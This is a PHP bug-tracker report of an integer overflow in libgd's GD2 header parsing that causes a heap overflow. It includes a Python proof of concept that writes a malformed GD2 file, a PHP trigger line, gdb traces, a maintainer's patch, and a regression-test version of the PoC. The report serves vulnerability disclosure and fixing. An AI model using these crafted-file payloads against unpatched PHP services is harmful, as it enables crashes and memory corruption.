|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-06-05 23:49 UTC] gogil at stealien dot com
Description:
------------
The _gd2GetHeader() is prone to an integer overflow, which result in heap based overflow.
------------------------ poc.py ------------------------
from struct import pack
gd2_header = (
"gd2\x00" +
pack(">H", 2) +
pack(">H", 1) +
pack(">H", 1) +
pack(">H", 0x40) +
pack(">H", 2) +
pack(">H", 0x5B00) + # Chunks Wide
pack(">H", 0x5B00) # Chunks Vertically
)
overflow_data = "\x41\x41\x41\x41" * 0x1000000
open("poc.gd", "wb").write(gd2_header + overflow_data)
---------------------------------------------------------
------------------------ poc.php ------------------------
<?php imagecreatefromgd2("poc.gd"); ?>
---------------------------------------------------------
/php$ gdb -q --args ./php-5.6.22/sapi/cli/php poc.php
Reading symbols from /php/php-5.6.22/sapi/cli/php...done.
(gdb) b gd_gd2.c:139
Breakpoint 1 at 0x570869: file /php/php-5.6.22/ext/gd/libgd/gd_gd2.c, line 139.
(gdb) r
Starting program: /php/./php-5.6.22/sapi/cli/php poc.php
Breakpoint 1, gd2GetHeader (in=0x7ffff7fd0ac0, sx=0x7fffffffa520,
sy=0x7fffffffa524, cs=0x7fffffffa530, vers=0x7fffffffa534,
fmt=0x7fffffffa538, ncx=0x7fffffffa528, ncy=0x7fffffffa52c,
chunkIdx=0x7fffffffa540) at /php/php-5.6.22/ext/gd/libgd/gdgd2.c:139
139 nc = (*ncx) * (*ncy); <---------- ncx(Chunks wide) is 0x5b00, ncy(Chunks high) is 0x5b00
<---------- As a result, 'nc' is 0x20590000.
(gdb) x/xw ncx
0x7fffffffa528: 0x00005b00
(gdb) x/xw ncy
0x7fffffffa52c: 0x00005b00
(gdb) n
141 sidx = sizeof(t_chunk_info) * nc; <---------- sizeof(t_chunk_info) is 0x8.
<---------- The result of the multiplication can overflow.
(gdb) n
142 if (sidx <= 0) {
(gdb) n
145 cidx = gdCalloc(sidx, 1); <---------- gdCalloc() call will allocate a buffer too small to contain the chunk entries.
(gdb) info locals
sidx = 46661632 (0x2C80000)
nc = 542703616 (0x20590000)
...
(gdb) n
146 for (i = 0; i < nc; i++) {
(gdb) n
145 cidx = gdCalloc(sidx, 1);
(gdb) n
146 for (i = 0; i < nc; i++) {
(gdb) n
147 if (gdGetInt(&cidx[i].offset, in) != 1) { <---------- It cause heap overflow
(gdb) n
151 if (gdGetInt(&cidx[i].size, in) != 1) {
(gdb) n
Test script:
---------------
$ python poc.py
$ ls
poc.gd poc.php
$ cat poc.php
<?php imagecreatefromgd2("poc.gd"); ?>
$ php poc.php
Actual result:
--------------
/php$ gdb -q --args ./php-5.6.22/sapi/cli/php poc.php
Reading symbols from /php/php-5.6.22/sapi/cli/php...done.
(gdb) r
Starting program: /php/./php-5.6.22/sapi/cli/php poc.php
Program received signal SIGSEGV, Segmentation fault.
php_gd_gdGetInt (result=result@entry=0x7ffff6116000,
ctx=ctx@entry=0x7ffff7fd0ac0) at /php/php-5.6.22/ext/gd/libgd/gd_io.c:103
103 *result = r << 24;
(gdb) bt
#0 php_gd_gdGetInt (result=result@entry=0x7ffff6116000,
ctx=ctx@entry=0x7ffff7fd0ac0) at /php/php-5.6.22/ext/gd/libgd/gd_io.c:103
#1 0x00000000005708b0 in _gd2GetHeader (in=0x7ffff7fd0ac0,
sx=<optimized out>, sy=0x7fffffffa524, cs=0x7fffffffa530,
vers=<optimized out>, fmt=<optimized out>, ncx=0x7fffffffa528,
ncy=0x7fffffffa52c, chunkIdx=0x7fffffffa540)
at /php/php-5.6.22/ext/gd/libgd/gd_gd2.c:147
#2 0x0000000000571139 in _gd2CreateFromFile (cidx=0x7fffffffa540,
ncy=0x7fffffffa52c, ncx=0x7fffffffa528, fmt=0x7fffffffa538,
vers=0x7fffffffa534, cs=0x7fffffffa530, sy=0x7fffffffa524,
sx=0x7fffffffa520, in=0x7ffff7fd0ac0)
at /php/php-5.6.22/ext/gd/libgd/gd_gd2.c:175
#3 php_gd_gdImageCreateFromGd2Ctx (in=in@entry=0x7ffff7fd0ac0)
at /php/php-5.6.22/ext/gd/libgd/gd_gd2.c:275
#4 0x0000000000571626 in php_gd_gdImageCreateFromGd2 (inFile=<optimized out>)
at /php/php-5.6.22/ext/gd/libgd/gd_gd2.c:238
#5 0x00000000005680c5 in _php_image_create_from (ht=<optimized out>,
return_value=0x7ffff7fcfe78, image_type=9, tn=0xb30560 "GD2",
func_p=0x571610 <php_gd_gdImageCreateFromGd2>,
ioctx_func_p=<optimized out>, return_value_used=<optimized out>,
this_ptr=<optimized out>, return_value_ptr=<optimized out>)
at /php/php-5.6.22/ext/gd/gd.c:2456
#6 0x000000000079db2e in zend_do_fcall_common_helper_SPEC (
---Type <return> to continue, or q <return> to quit---
execute_data=<optimized out>) at /php/php-5.6.22/Zend/zend_vm_execute.h:558
#7 0x00000000007326a8 in execute_ex (execute_data=0x7ffff7f9b0c0)
at /php/php-5.6.22/Zend/zend_vm_execute.h:363
#8 0x00000000006f93b0 in zend_execute_scripts (type=type@entry=8,
retval=retval@entry=0x0, file_count=file_count@entry=3)
at /php/php-5.6.22/Zend/zend.c:1341
#9 0x0000000000696d82 in php_execute_script (
primary_file=primary_file@entry=0x7fffffffcb50)
at /php/php-5.6.22/main/main.c:2613
#10 0x000000000079f79f in do_cli (argc=2, argv=0xee9450)
at /php/php-5.6.22/sapi/cli/php_cli.c:994
#11 0x0000000000427610 in main (argc=2, argv=0xee9450)
at /php/php-5.6.22/sapi/cli/php_cli.c:1378
(gdb)
Patches72339.txt (last revision 2016-06-06 06:49 UTC by pajoye@php.net)Pull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Fri Oct 24 20:00:01 2025 UTC |
Thanks for the detailed report! --- a/ext/gd/libgd/gd_gd2.c +++ b/ext/gd/libgd/gd_gd2.c @@ -143,6 +143,12 @@ static int _gd2GetHeader(gdIOCtxPtr in, int *sx, int *sy, int *cs, int *vers, in goto fail1; } cidx = gdCalloc(sidx, 1); + if (cidx == NULL) { + goto fail1; + } + if (overflow2(sidx, nc)) { + goto fail1; + } for (i = 0; i < nc; i++) { if (gdGetInt(&cidx[i].offset, in) != 1) { gdFree(cidx); Should do it. I did not tweak the values to see if non overflowed values can still be used to trick the reader but it looks like not. @RMs that should be applied to 5.5+ if you all agree. We also need a CVE.Please use it. ------------------------ poc.py ------------------------ from struct import pack gd2_header = ( "gd2\x00" + pack(">H", 2) + pack(">H", 1) + pack(">H", 1) + pack(">H", 0x40) + pack(">H", 2) + pack(">H", 0x5AA0) + # Chunks Wide pack(">H", 0x5B00) # Chunks Vertically ) overflow_data = "\x41\x41\x41\x41" * 0x800000 open("bug72339.gd", "wb").write(gd2_header + overflow_data) ---------------------------------------------------------rewrite in php ------------------------ poc.php ------------------------ <?php $filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . "bug72339.gd"; $Gd2Head = "\x67\x64\x32\x00\x00\x02\x00\x01\x00\x01\x00\x40\x00\x02\x5A\xA0\x5B\x00"; $OverflowData = str_repeat("\x41\x41\x41\x41", 0x800000); $fp = fopen($filename, "wb"); fwrite($fp, $Gd2Head); fwrite($fp, $OverflowData); fclose($fp); imagecreatefromgd2($filename); @unlink($filename); ?> ---------------------------------------------------------